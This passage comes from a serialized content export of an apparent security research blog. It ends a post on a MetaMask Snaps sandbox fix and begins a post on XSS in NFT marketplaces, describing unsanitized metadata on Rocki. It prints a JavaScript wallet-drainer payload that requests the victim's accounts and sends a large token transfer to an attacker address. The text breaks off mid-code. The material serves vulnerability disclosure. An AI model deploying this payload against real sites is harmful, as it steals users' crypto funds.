{\n",{"type":26,"tag":217,"props":130925,"children":130926},{"class":7028,"line":6770},[130927],{"type":26,"tag":217,"props":130928,"children":130929},{"style":7338},[130930],{"type":32,"value":130931},"-      assertEthereumOutboundRequest(args);\n",{"type":26,"tag":217,"props":130933,"children":130934},{"class":7028,"line":6779},[130935],{"type":26,"tag":217,"props":130936,"children":130937},{"style":7338},[130938],{"type":32,"value":130939},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":26,"tag":217,"props":130941,"children":130942},{"class":7028,"line":7140},[130943],{"type":26,"tag":217,"props":130944,"children":130945},{"style":7130},[130946],{"type":32,"value":130947},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":26,"tag":217,"props":130949,"children":130950},{"class":7028,"line":7165},[130951],{"type":26,"tag":217,"props":130952,"children":130953},{"style":7130},[130954],{"type":32,"value":130955},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":26,"tag":27,"props":130957,"children":130958},{"id":9272},[130959],{"type":32,"value":9275},{"type":26,"tag":39,"props":130961,"children":130962},{},[130963],{"type":32,"value":130964},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":26,"tag":39,"props":130966,"children":130967},{},[130968],{"type":32,"value":130969},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":26,"tag":9282,"props":130971,"children":130972},{},[130973],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":130975},[130976,130977,130984,130992],{"id":115972,"depth":6770,"text":115975},{"id":126048,"depth":6770,"text":126051,"children":130978},[130979,130980,130981,130982,130983],{"id":126059,"depth":6779,"text":126062},{"id":126127,"depth":6779,"text":126130},{"id":126163,"depth":6779,"text":126166},{"id":127543,"depth":6779,"text":127546},{"id":127891,"depth":6779,"text":127894},{"id":128667,"depth":6770,"text":128670,"children":130985},[130986,130987,130988,130989,130990,130991],{"id":128673,"depth":6779,"text":128676},{"id":128717,"depth":6779,"text":128720},{"id":129618,"depth":6779,"text":129621},{"id":130039,"depth":6779,"text":130042},{"id":7222,"depth":6779,"text":7225},{"id":66685,"depth":6779,"text":66688},{"id":9272,"depth":6770,"text":9275},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":130997,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":130998,"description":130999,"author":131000,"image":131001,"date":131003,"isFeatured":17,"tags":131004,"onBlogPage":17,"body":131007,"_type":6799,"_id":135144,"_source":6801,"_file":135145,"_stem":135146,"_extension":6804},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[6812,6811],{"src":131002,"height":6817,"width":6817},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[131005,131006],"nft-marketplaces","xss",{"type":23,"children":131008,"toc":135127},[131009,131013,131018,131024,131029,131034,131039,131055,131061,131074,131096,131103,131108,131115,131120,131126,131131,131136,131141,131146,131154,131159,132100,132110,132122,132129,132134,132932,132937,132942,132947,132952,133736,133741,133821,133826,133892,133898,133903,133908,134131,134144,134149,134154,134159,134166,134171,134178,134184,134189,134194,134199,134515,134520,134526,134542,134548,134553,134558,134567,134572,134577,134586,134591,134597,134613,134626,134631,134636,134656,134663,134668,134675,134684,134689,134708,134760,134765,134815,134829,134834,134847,134959,134982,135065,135088,135093,135098,135102,135107,135112,135118,135123],{"type":26,"tag":27,"props":131010,"children":131011},{"id":24419},[131012],{"type":32,"value":24422},{"type":26,"tag":39,"props":131014,"children":131015},{},[131016],{"type":32,"value":131017},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":26,"tag":607,"props":131019,"children":131021},{"id":131020},"discovery",[131022],{"type":32,"value":131023},"Discovery",{"type":26,"tag":39,"props":131025,"children":131026},{},[131027],{"type":32,"value":131028},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":26,"tag":39,"props":131030,"children":131031},{},[131032],{"type":32,"value":131033},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":26,"tag":27,"props":131035,"children":131036},{"id":131006},[131037],{"type":32,"value":131038},"XSS",{"type":26,"tag":39,"props":131040,"children":131041},{},[131042],{"type":26,"tag":65,"props":131043,"children":131044},{},[131045,131047,131054],{"type":32,"value":131046},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":26,"tag":163,"props":131048,"children":131051},{"href":131049,"rel":131050},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[167],[131052],{"type":32,"value":131053},"even explain it to myself",{"type":32,"value":180},{"type":26,"tag":607,"props":131056,"children":131058},{"id":131057},"managing-metadata",[131059],{"type":32,"value":131060},"Managing Metadata",{"type":26,"tag":39,"props":131062,"children":131063},{},[131064,131066,131073],{"type":32,"value":131065},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":26,"tag":163,"props":131067,"children":131070},{"href":131068,"rel":131069},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[167],[131071],{"type":32,"value":131072},"payloads",{"type":32,"value":180},{"type":26,"tag":39,"props":131075,"children":131076},{},[131077,131079,131086,131088,131094],{"type":32,"value":131078},"We showcase this vulnerability in the ",{"type":26,"tag":163,"props":131080,"children":131083},{"href":131081,"rel":131082},"https://rocki.com/",[167],[131084],{"type":32,"value":131085},"Rocki Marketplace",{"type":32,"value":131087},". The ",{"type":26,"tag":83,"props":131089,"children":131091},{"className":131090},[],[131092],{"type":32,"value":131093},"artistDescription",{"type":32,"value":131095}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":26,"tag":39,"props":131097,"children":131098},{},[131099],{"type":26,"tag":6468,"props":131100,"children":131102},{"alt":8,"src":131101},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":26,"tag":39,"props":131104,"children":131105},{},[131106],{"type":32,"value":131107},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":26,"tag":39,"props":131109,"children":131110},{},[131111],{"type":26,"tag":6468,"props":131112,"children":131114},{"alt":8,"src":131113},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":26,"tag":39,"props":131116,"children":131117},{},[131118],{"type":32,"value":131119},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":26,"tag":607,"props":131121,"children":131123},{"id":131122},"wheres-my-wallet",[131124],{"type":32,"value":131125},"Where's My Wallet",{"type":26,"tag":39,"props":131127,"children":131128},{},[131129],{"type":32,"value":131130},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":26,"tag":39,"props":131132,"children":131133},{},[131134],{"type":32,"value":131135},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":26,"tag":39,"props":131137,"children":131138},{},[131139],{"type":32,"value":131140},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":26,"tag":39,"props":131142,"children":131143},{},[131144],{"type":32,"value":131145},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":26,"tag":6986,"props":131147,"children":131148},{"style":6988},[131149],{"type":26,"tag":6468,"props":131150,"children":131153},{"src":131151,"alt":131152,"style":119387},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet",[],{"type":26,"tag":39,"props":131155,"children":131156},{},[131157],{"type":32,"value":131158},"And here we can find the code used to achieve it :",{"type":26,"tag":207,"props":131160,"children":131162},{"className":24581,"code":131161,"language":24580,"meta":8,"style":8},"function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n",[131163],{"type":26,"tag":83,"props":131164,"children":131165},{"__ignoreMap":8},[131166,131181,131221,131249,131264,131322,131355,131380,131405,131412,131432,131439,131455,131467,131474,131491,131508,131516,131523,131539,131555,131562,131570,131587,131599,131606,131621,131637,131644,131651,131668,131675,131683,131690,131736,131743,131807,131814,131834,131849,131864,131885,131954,131970,131978,131985,132023,132030,132037,132044,132051,132071],{"type":26,"tag":217,"props":131167,"children":131168},{"class":7028,"line":7029},[131169,131173,131177],{"type":26,"tag":217,"props":131170,"children":131171},{"style":7154},[131172],{"type":32,"value":7604},{"type":26,"tag":217,"props":131174,"children":131175},{"style":7064},[131176],{"type":32,"value":129262},{"type":26,"tag":217,"props":131178,"children":131179},{"style":7048},[131180],{"type":32,"value":7841},{"type":26,"tag":217,"props":131182,"children":131183},{"class":7028,"line":6770},[131184,131188,131192,131196,131200,131204,131208,131212,131217],{"type":26,"tag":217,"props":131185,"children":131186},{"style":7042},[131187],{"type":32,"value":37312},{"type":26,"tag":217,"props":131189,"children":131190},{"style":7048},[131191],{"type":32,"value":7051},{"type":26,"tag":217,"props":131193,"children":131194},{"style":7154},[131195],{"type":32,"value":116643},{"type":26,"tag":217,"props":131197,"children":131198},{"style":7054},[131199],{"type":32,"value":66857},{"type":26,"tag":217,"props":131201,"children":131202},{"style":7048},[131203],{"type":32,"value":180},{"type":26,"tag":217,"props":131205,"children":131206},{"style":7054},[131207],{"type":32,"value":66866},{"type":26,"tag":217,"props":131209,"children":131210},{"style":7149},[131211],{"type":32,"value":67525},{"type":26,"tag":217,"props":131213,"children":131214},{"style":7338},[131215],{"type":32,"value":131216}," 'undefined'",{"type":26,"tag":217,"props":131218,"children":131219},{"style":7048},[131220],{"type":32,"value":7618},{"type":26,"tag":217,"props":131222,"children":131223},{"class":7028,"line":6779},[131224,131228,131232,131236,131240,131245],{"type":26,"tag":217,"props":131225,"children":131226},{"style":7054},[131227],{"type":32,"value":12690},{"type":26,"tag":217,"props":131229,"children":131230},{"style":7048},[131231],{"type":32,"value":180},{"type":26,"tag":217,"props":131233,"children":131234},{"style":7064},[131235],{"type":32,"value":7747},{"type":26,"tag":217,"props":131237,"children":131238},{"style":7048},[131239],{"type":32,"value":1851},{"type":26,"tag":217,"props":131241,"children":131242},{"style":7338},[131243],{"type":32,"value":131244},"'Please install MetaMask to use this feature.'",{"type":26,"tag":217,"props":131246,"children":131247},{"style":7048},[131248],{"type":32,"value":7669},{"type":26,"tag":217,"props":131250,"children":131251},{"class":7028,"line":7140},[131252,131256,131260],{"type":26,"tag":217,"props":131253,"children":131254},{"style":7048},[131255],{"type":32,"value":67404},{"type":26,"tag":217,"props":131257,"children":131258},{"style":7042},[131259],{"type":32,"value":40852},{"type":26,"tag":217,"props":131261,"children":131262},{"style":7048},[131263],{"type":32,"value":8064},{"type":26,"tag":217,"props":131265,"children":131266},{"class":7028,"line":7165},[131267,131271,131275,131279,131283,131287,131292,131297,131302,131306,131310,131314,131318],{"type":26,"tag":217,"props":131268,"children":131269},{"style":7054},[131270],{"type":32,"value":128269},{"type":26,"tag":217,"props":131272,"children":131273},{"style":7048},[131274],{"type":32,"value":180},{"type":26,"tag":217,"props":131276,"children":131277},{"style":7064},[131278],{"type":32,"value":66875},{"type":26,"tag":217,"props":131280,"children":131281},{"style":7048},[131282],{"type":32,"value":7892},{"type":26,"tag":217,"props":131284,"children":131285},{"style":7054},[131286],{"type":32,"value":129383},{"type":26,"tag":217,"props":131288,"children":131289},{"style":7338},[131290],{"type":32,"value":131291}," 'eth_requestAccounts'",{"type":26,"tag":217,"props":131293,"children":131294},{"style":7048},[131295],{"type":32,"value":131296}," }).",{"type":26,"tag":217,"props":131298,"children":131299},{"style":7064},[131300],{"type":32,"value":131301},"then",{"type":26,"tag":217,"props":131303,"children":131304},{"style":7048},[131305],{"type":32,"value":8370},{"type":26,"tag":217,"props":131307,"children":131308},{"style":7054},[131309],{"type":32,"value":91204},{"type":26,"tag":217,"props":131311,"children":131312},{"style":7048},[131313],{"type":32,"value":8380},{"type":26,"tag":217,"props":131315,"children":131316},{"style":7154},[131317],{"type":32,"value":8059},{"type":26,"tag":217,"props":131319,"children":131320},{"style":7048},[131321],{"type":32,"value":8064},{"type":26,"tag":217,"props":131323,"children":131324},{"class":7028,"line":7178},[131325,131329,131334,131338,131343,131347,131351],{"type":26,"tag":217,"props":131326,"children":131327},{"style":7154},[131328],{"type":32,"value":68214},{"type":26,"tag":217,"props":131330,"children":131331},{"style":7054},[131332],{"type":32,"value":131333}," fromAddress",{"type":26,"tag":217,"props":131335,"children":131336},{"style":7149},[131337],{"type":32,"value":8993},{"type":26,"tag":217,"props":131339,"children":131340},{"style":7054},[131341],{"type":32,"value":131342}," accounts",{"type":26,"tag":217,"props":131344,"children":131345},{"style":7048},[131346],{"type":32,"value":7127},{"type":26,"tag":217,"props":131348,"children":131349},{"style":7130},[131350],{"type":32,"value":1883},{"type":26,"tag":217,"props":131352,"children":131353},{"style":7048},[131354],{"type":32,"value":10652},{"type":26,"tag":217,"props":131356,"children":131357},{"class":7028,"line":7389},[131358,131362,131367,131371,131376],{"type":26,"tag":217,"props":131359,"children":131360},{"style":7154},[131361],{"type":32,"value":68214},{"type":26,"tag":217,"props":131363,"children":131364},{"style":7054},[131365],{"type":32,"value":131366}," attackerAddress",{"type":26,"tag":217,"props":131368,"children":131369},{"style":7149},[131370],{"type":32,"value":8993},{"type":26,"tag":217,"props":131372,"children":131373},{"style":7338},[131374],{"type":32,"value":131375}," '0x0000000000000000000000000000000000000000'",{"type":26,"tag":217,"props":131377,"children":131378},{"style":7048},[131379],{"type":32,"value":7162},{"type":26,"tag":217,"props":131381,"children":131382},{"class":7028,"line":7406},[131383,131387,131392,131396,131401],{"type":26,"tag":217,"props":131384,"children":131385},{"style":7154},[131386],{"type":32,"value":68214},{"type":26,"tag":217,"props":131388,"children":131389},{"style":7054},[131390],{"type":32,"value":131391}," contractAddress",{"type":26,"tag":217,"props":131393,"children":131394},{"style":7149},[131395],{"type":32,"value":8993},{"type":26,"tag":217,"props":131397,"children":131398},{"style":7338},[131399],{"type":32,"value":131400}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":26,"tag":217,"props":131402,"children":131403},{"style":7048},[131404],{"type":32,"value":7162},{"type":26,"tag":217,"props":131406,"children":131407},{"class":7028,"line":7439},[131408],{"type":26,"tag":217,"props":131409,"children":131410},{"emptyLinePlaceholder":17},[131411],{"type":32,"value":7817},{"type":26,"tag":217,"props":131413,"children":131414},{"class":7028,"line":7487},[131415,131419,131424,131428],{"type":26,"tag":217,"props":131416,"children":131417},{"style":7154},[131418],{"type":32,"value":68109},{"type":26,"tag":217,"props":131420,"children":131421},{"style":7054},[131422],{"type":32,"value":131423}," tokenAbi",{"type":26,"tag":217,"props":131425,"children":131426},{"style":7149},[131427],{"type":32,"value":8993},{"type":26,"tag":217,"props":131429,"children":131430},{"style":7048},[131431],{"type":32,"value":98224},{"type":26,"tag":217,"props":131433,"children":131434},{"class":7028,"line":7524},[131435],{"type":26,"tag":217,"props":131436,"children":131437},{"style":7048},[131438],{"type":32,"value":61312},{"type":26,"tag":217,"props":131440,"children":131441},{"class":7028,"line":7553},[131442,131447,131451],{"type":26,"tag":217,"props":131443,"children":131444},{"style":7054},[131445],{"type":32,"value":131446},"          constant:",{"type":26,"tag":217,"props":131448,"children":131449},{"style":7154},[131450],{"type":32,"value":7795},{"type":26,"tag":217,"props":131452,"children":131453},{"style":7048},[131454],{"type":32,"value":10953},{"type":26,"tag":217,"props":131456,"children":131457},{"class":7028,"line":7570},[131458,131463],{"type":26,"tag":217,"props":131459,"children":131460},{"style":7054},[131461],{"type":32,"value":131462},"          inputs:",{"type":26,"tag":217,"props":131464,"children":131465},{"style":7048},[131466],{"type":32,"value":98224},{"type":26,"tag":217,"props":131468,"children":131469},{"class":7028,"line":7621},[131470],{"type":26,"tag":217,"props":131471,"children":131472},{"style":7048},[131473],{"type":32,"value":61436},{"type":26,"tag":217,"props":131475,"children":131476},{"class":7028,"line":7672},[131477,131482,131487],{"type":26,"tag":217,"props":131478,"children":131479},{"style":7054},[131480],{"type":32,"value":131481},"              name:",{"type":26,"tag":217,"props":131483,"children":131484},{"style":7338},[131485],{"type":32,"value":131486}," '_to'",{"type":26,"tag":217,"props":131488,"children":131489},{"style":7048},[131490],{"type":32,"value":10953},{"type":26,"tag":217,"props":131492,"children":131493},{"class":7028,"line":7681},[131494,131499,131504],{"type":26,"tag":217,"props":131495,"children":131496},{"style":7054},[131497],{"type":32,"value":131498},"              type:",{"type":26,"tag":217,"props":131500,"children":131501},{"style":7338},[131502],{"type":32,"value":131503}," 'address'",{"type":26,"tag":217,"props":131505,"children":131506},{"style":7048},[131507],{"type":32,"value":10953},{"type":26,"tag":217,"props":131509,"children":131510},{"class":7028,"line":7754},[131511],{"type":26,"tag":217,"props":131512,"children":131513},{"style":7048},[131514],{"type":32,"value":131515},"            },\n",{"type":26,"tag":217,"props":131517,"children":131518},{"class":7028,"line":7784},[131519],{"type":26,"tag":217,"props":131520,"children":131521},{"style":7048},[131522],{"type":32,"value":61436},{"type":26,"tag":217,"props":131524,"children":131525},{"class":7028,"line":7802},[131526,131530,131535],{"type":26,"tag":217,"props":131527,"children":131528},{"style":7054},[131529],{"type":32,"value":131481},{"type":26,"tag":217,"props":131531,"children":131532},{"style":7338},[131533],{"type":32,"value":131534}," '_value'",{"type":26,"tag":217,"props":131536,"children":131537},{"style":7048},[131538],{"type":32,"value":10953},{"type":26,"tag":217,"props":131540,"children":131541},{"class":7028,"line":7811},[131542,131546,131551],{"type":26,"tag":217,"props":131543,"children":131544},{"style":7054},[131545],{"type":32,"value":131498},{"type":26,"tag":217,"props":131547,"children":131548},{"style":7338},[131549],{"type":32,"value":131550}," 'uint256'",{"type":26,"tag":217,"props":131552,"children":131553},{"style":7048},[131554],{"type":32,"value":10953},{"type":26,"tag":217,"props":131556,"children":131557},{"class":7028,"line":7820},[131558],{"type":26,"tag":217,"props":131559,"children":131560},{"style":7048},[131561],{"type":32,"value":131515},{"type":26,"tag":217,"props":131563,"children":131564},{"class":7028,"line":7844},[131565],{"type":26,"tag":217,"props":131566,"children":131567},{"style":7048},[131568],{"type":32,"value":131569},"          ],\n",{"type":26,"tag":217,"props":131571,"children":131572},{"class":7028,"line":7910},[131573,131578,131583],{"type":26,"tag":217,"props":131574,"children":131575},{"style":7054},[131576],{"type":32,"value":131577},"          name:",{"type":26,"tag":217,"props":131579,"children":131580},{"style":7338},[131581],{"type":32,"value":131582}," 'transfer'",{"type":26,"tag":217,"props":131584,"children":131585},{"style":7048},[131586],{"type":32,"value":10953},{"type":26,"tag":217,"props":131588,"children":131589},{"class":7028,"line":7954},[131590,131595],{"type":26,"tag":217,"props":131591,"children":131592},{"style":7054},[131593],{"type":32,"value":131594},"          outputs:",{"type":26,"tag":217,"props":131596,"children":131597},{"style":7048},[131598],{"type":32,"value":98224},{"type":26,"tag":217,"props":131600,"children":131601},{"class":7028,"line":7985},[131602],{"type":26,"tag":217,"props":131603,"children":131604},{"style":7048},[131605],{"type":32,"value":61436},{"type":26,"tag":217,"props":131607,"children":131608},{"class":7028,"line":8027},[131609,131613,131617],{"type":26,"tag":217,"props":131610,"children":131611},{"style":7054},[131612],{"type":32,"value":131481},{"type":26,"tag":217,"props":131614,"children":131615},{"style":7338},[131616],{"type":32,"value":67298},{"type":26,"tag":217,"props":131618,"children":131619},{"style":7048},[131620],{"type":32,"value":10953},{"type":26,"tag":217,"props":131622,"children":131623},{"class":7028,"line":8035},[131624,131628,131633],{"type":26,"tag":217,"props":131625,"children":131626},{"style":7054},[131627],{"type":32,"value":131498},{"type":26,"tag":217,"props":131629,"children":131630},{"style":7338},[131631],{"type":32,"value":131632}," 'bool'",{"type":26,"tag":217,"props":131634,"children":131635},{"style":7048},[131636],{"type":32,"value":10953},{"type":26,"tag":217,"props":131638,"children":131639},{"class":7028,"line":8067},[131640],{"type":26,"tag":217,"props":131641,"children":131642},{"style":7048},[131643],{"type":32,"value":131515},{"type":26,"tag":217,"props":131645,"children":131646},{"class":7028,"line":8107},[131647],{"type":26,"tag":217,"props":131648,"children":131649},{"style":7048},[131650],{"type":32,"value":131569},{"type":26,"tag":217,"props":131652,"children":131653},{"class":7028,"line":8145},[131654,131659,131664],{"type":26,"tag":217,"props":131655,"children":131656},{"style":7054},[131657],{"type":32,"value":131658},"          type:",{"type":26,"tag":217,"props":131660,"children":131661},{"style":7338},[131662],{"type":32,"value":131663}," 'function'",{"type":26,"tag":217,"props":131665,"children":131666},{"style":7048},[131667],{"type":32,"value":10953},{"type":26,"tag":217,"props":131669,"children":131670},{"class":7028,"line":8154},[131671],{"type":26,"tag":217,"props":131672,"children":131673},{"style":7048},[131674],{"type":32,"value":98350},{"type":26,"tag":217,"props":131676,"children":131677},{"class":7028,"line":8162},[131678],{"type":26,"tag":217,"props":131679,"children":131680},{"style":7048},[131681],{"type":32,"value":131682},"      ];\n",{"type":26,"tag":217,"props":131684,"children":131685},{"class":7028,"line":8197},[131686],{"type":26,"tag":217,"props":131687,"children":131688},{"emptyLinePlaceholder":17},[131689],{"type":32,"value":7817},{"type":26,"tag":217,"props":131691,"children":131692},{"class":7028,"line":8220},[131693,131697,131702,131706,131710,131715,131719,131724,131728,131732],{"type":26,"tag":217,"props":131694,"children":131695},{"style":7154},[131696],{"type":32,"value":68214},{"type":26,"tag":217,"props":131698,"children":131699},{"style":7054},[131700],{"type":32,"value":131701}," web3",{"type":26,"tag":217,"props":131703,"children":131704},{"style":7149},[131705],{"type":32,"value":8993},{"type":26,"tag":217,"props":131707,"children":131708},{"style":7154},[131709],{"type":32,"value":25931},{"type":26,"tag":217,"props":131711,"children":131712},{"style":7064},[131713],{"type":32,"value":131714}," Web3",{"type":26,"tag":217,"props":131716,"children":131717},{"style":7048},[131718],{"type":32,"value":1851},{"type":26,"tag":217,"props":131720,"children":131721},{"style":7054},[131722],{"type":32,"value":131723},"window",{"type":26,"tag":217,"props":131725,"children":131726},{"style":7048},[131727],{"type":32,"value":180},{"type":26,"tag":217,"props":131729,"children":131730},{"style":7054},[131731],{"type":32,"value":66866},{"type":26,"tag":217,"props":131733,"children":131734},{"style":7048},[131735],{"type":32,"value":7669},{"type":26,"tag":217,"props":131737,"children":131738},{"class":7028,"line":8228},[131739],{"type":26,"tag":217,"props":131740,"children":131741},{"emptyLinePlaceholder":17},[131742],{"type":32,"value":7817},{"type":26,"tag":217,"props":131744,"children":131745},{"class":7028,"line":8292},[131746,131750,131755,131759,131763,131767,131771,131776,131780,131785,131789,131794,131798,131803],{"type":26,"tag":217,"props":131747,"children":131748},{"style":7154},[131749],{"type":32,"value":68214},{"type":26,"tag":217,"props":131751,"children":131752},{"style":7054},[131753],{"type":32,"value":131754}," tokenContract",{"type":26,"tag":217,"props":131756,"children":131757},{"style":7149},[131758],{"type":32,"value":8993},{"type":26,"tag":217,"props":131760,"children":131761},{"style":7154},[131762],{"type":32,"value":25931},{"type":26,"tag":217,"props":131764,"children":131765},{"style":7054},[131766],{"type":32,"value":131701},{"type":26,"tag":217,"props":131768,"children":131769},{"style":7048},[131770],{"type":32,"value":180},{"type":26,"tag":217,"props":131772,"children":131773},{"style":7054},[131774],{"type":32,"value":131775},"eth",{"type":26,"tag":217,"props":131777,"children":131778},{"style":7048},[131779],{"type":32,"value":180},{"type":26,"tag":217,"props":131781,"children":131782},{"style":7064},[131783],{"type":32,"value":131784},"Contract",{"type":26,"tag":217,"props":131786,"children":131787},{"style":7048},[131788],{"type":32,"value":1851},{"type":26,"tag":217,"props":131790,"children":131791},{"style":7054},[131792],{"type":32,"value":131793},"tokenAbi",{"type":26,"tag":217,"props":131795,"children":131796},{"style":7048},[131797],{"type":32,"value":7599},{"type":26,"tag":217,"props":131799,"children":131800},{"style":7054},[131801],{"type":32,"value":131802},"contractAddress",{"type":26,"tag":217,"props":131804,"children":131805},{"style":7048},[131806],{"type":32,"value":7669},{"type":26,"tag":217,"props":131808,"children":131809},{"class":7028,"line":8351},[131810],{"type":26,"tag":217,"props":131811,"children":131812},{"emptyLinePlaceholder":17},[131813],{"type":32,"value":7817},{"type":26,"tag":217,"props":131815,"children":131816},{"class":7028,"line":8391},[131817,131821,131826,131830],{"type":26,"tag":217,"props":131818,"children":131819},{"style":7154},[131820],{"type":32,"value":68214},{"type":26,"tag":217,"props":131822,"children":131823},{"style":7054},[131824],{"type":32,"value":131825}," transactionObject",{"type":26,"tag":217,"props":131827,"children":131828},{"style":7149},[131829],{"type":32,"value":8993},{"type":26,"tag":217,"props":131831,"children":131832},{"style":7048},[131833],{"type":32,"value":8064},{"type":26,"tag":217,"props":131835,"children":131836},{"class":7028,"line":8439},[131837,131841,131845],{"type":26,"tag":217,"props":131838,"children":131839},{"style":7054},[131840],{"type":32,"value":130530},{"type":26,"tag":217,"props":131842,"children":131843},{"style":7054},[131844],{"type":32,"value":131333},{"type":26,"tag":217,"props":131846,"children":131847},{"style":7048},[131848],{"type":32,"value":10953},{"type":26,"tag":217,"props":131850,"children":131851},{"class":7028,"line":8448},[131852,131856,131860],{"type":26,"tag":217,"props":131853,"children":131854},{"style":7054},[131855],{"type":32,"value":130552},{"type":26,"tag":217,"props":131857,"children":131858},{"style":7054},[131859],{"type":32,"value":131391},{"type":26,"tag":217,"props":131861,"children":131862},{"style":7048},[131863],{"type":32,"value":10953},{"type":26,"tag":217,"props":131865,"children":131866},{"class":7028,"line":8456},[131867,131872,131876,131880],{"type":26,"tag":217,"props":131868,"children":131869},{"style":7054},[131870],{"type":32,"value":131871},"        data:",{"type":26,"tag":217,"props":131873,"children":131874},{"style":7054},[131875],{"type":32,"value":131754},{"type":26,"tag":217,"props":131877,"children":131878},{"style":7048},[131879],{"type":32,"value":180},{"type":26,"tag":217,"props":131881,"children":131882},{"style":7054},[131883],{"type":32,"value":131884},"methods\n",{"type":26,"tag":217,"props":131886,"children":131887},{"class":7028,"line":8500},[131888,131893,131897,131901,131906,131910,131914,131918,131923,131927,131932,131936,131941,131945,131950],{"type":26,"tag":217,"props":131889,"children":131890},{"style":7048},[131891],{"type":32,"value":131892},"          .",{"type":26,"tag":217,"props":131894,"children":131895},{"style":7064},[131896],{"type":32,"value":98435},{"type":26,"tag":217,"props":131898,"children":131899},{"style":7048},[131900],{"type":32,"value":1851},{"type":26,"tag":217,"props":131902,"children":131903},{"style":7054},[131904],{"type":32,"value":131905},"attackerAddress",{"type":26,"tag":217,"props":131907,"children":131908},{"style":7048},[131909],{"type":32,"value":7599},{"type":26,"tag":217,"props":131911,"children":131912},{"style":7054},[131913],{"type":32,"value":6819},{"type":26,"tag":217,"props":131915,"children":131916},{"style":7048},[131917],{"type":32,"value":180},{"type":26,"tag":217,"props":131919,"children":131920},{"style":7054},[131921],{"type":32,"value":131922},"utils",{"type":26,"tag":217,"props":131924,"children":131925},{"style":7048},[131926],{"type":32,"value":180},{"type":26,"tag":217,"props":131928,"children":131929},{"style":7064},[131930],{"type":32,"value":131931},"toWei",{"type":26,"tag":217,"props":131933,"children":131934},{"style":7048},[131935],{"type":32,"value":1851},{"type":26,"tag":217,"props":131937,"children":131938},{"style":7338},[131939],{"type":32,"value":131940},"'100000000'",{"type":26,"tag":217,"props":131942,"children":131943},{"style":7048},[131944],{"type":32,"value":7599},{"type":26,"tag":217,"props":131946,"children":131947},{"style":7338},[131948],{"type":32,"value":131949},"'ether'",{"type":26,"tag":217,"props":131951,"children":131952},{"style":7048},[131953],{"type":32,"value":18548},{"type":26,"tag":217,"props":131955,"children":131956},{"class":7028,"line":8535},[131957,131961,131966],{"type":26,"tag":217,"props":131958,"children":131959},{"style":7048},[131960],{"type":32,"value":131892},{"type":26,"tag":217,"props":131962,"children":131963},{"style":7064},[131964],{"type":32,"value":131965},"encodeABI",{"type":26,"tag":217,"props":131967,"children":131968},{"style":7048},[131969],{"type":32,"value":79153},{"type":26,"tag":217,"props":131971,"children":131972},{"class":7028,"line":8664},[131973],{"type":26,"tag":217,"props":131974,"children":131975},{"style":7048},[131976],{"type":32,"value":131977},"      